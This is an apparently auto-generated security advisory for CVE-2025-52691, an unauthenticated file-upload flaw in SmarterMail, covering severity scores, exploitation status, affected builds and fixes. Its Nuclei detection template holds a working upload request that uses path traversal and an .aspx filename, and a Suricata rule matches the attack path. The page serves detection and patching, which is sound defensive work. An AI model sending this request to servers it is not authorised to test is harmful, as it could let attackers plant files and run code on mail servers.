VULNpocalypse

CVE-2025-52691: SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Successful exploitation of the vulnerability could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution.

Description quoted from the CVE record (assigned by CSA, published 2025-12-29).

Weakness: CWE-434 Unrestricted Upload of File with Dangerous Type

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-01-26
US federal deadline
2026-02-16
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-14689, CNNVD-202512-5013, EUVD-2025-205544, GHSA-c9vj-8fwr-4gvq

VEDAS cluster: VEDAS:FLOURISHINGFORCE

Exploit Observer links 18 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (18)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

23 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.857
very likely to be attacked soon
VEDAS
0.984
strong exploit evidence
On CISA KEV
Yes, since 2026-01-26
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-01-26CVE-2025-52691 EPSS over time2026-012026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-01-26CVE-2025-52691 VEDAS over time2026-012026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 15 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
SmarterTools SmarterMailversion SmarterMail versions Build 9406 and earlierNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: smartertools smartermail, smartertools_inc. smartermail.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Smartermail - Remote Code Execution

Successful exploitation of the vulnerability could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/upload); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-52691.yaml
Show the template (62 lines)
yaml
id: CVE-2025-52691

info:
  name: "Smartermail - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Successful exploitation of the vulnerability could allow an unauthenticated attacker to upload arbitrary files
    to any location on the mail server, potentially enabling remote code execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-52691&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=smartermail&match=exact
  classification:
    cve-id: CVE-2025-52691
  metadata:
    verified: false
  tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev,vuln
variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'
  file_name: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        POST /api/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="context"

        attachment
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableIdentifier"

        fakeID
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableFilename"

        {{file_name}}.aspx
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="contextData"

        {"guid":"dag/../../{{rand_string}}"}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="whatever"; filename="{{file_name}}.jpg"

        Detection Artifact Generator
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fileName":'
          - '{"key":'
        condition: and

      - type: status
        status:
          - 200

CVE-2025-52691.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-52691 Smartermail - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-52691 Smartermail - Remote Code Execution"; flow:established,to_server; http.uri; content:"/api/upload"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-52691; reference:url,https://www.exploit.observer/?keyword=CVE-2025-52691&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=smartermail&match=exact; sid:1008982; rev:1;)

CVE-2025-52691.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.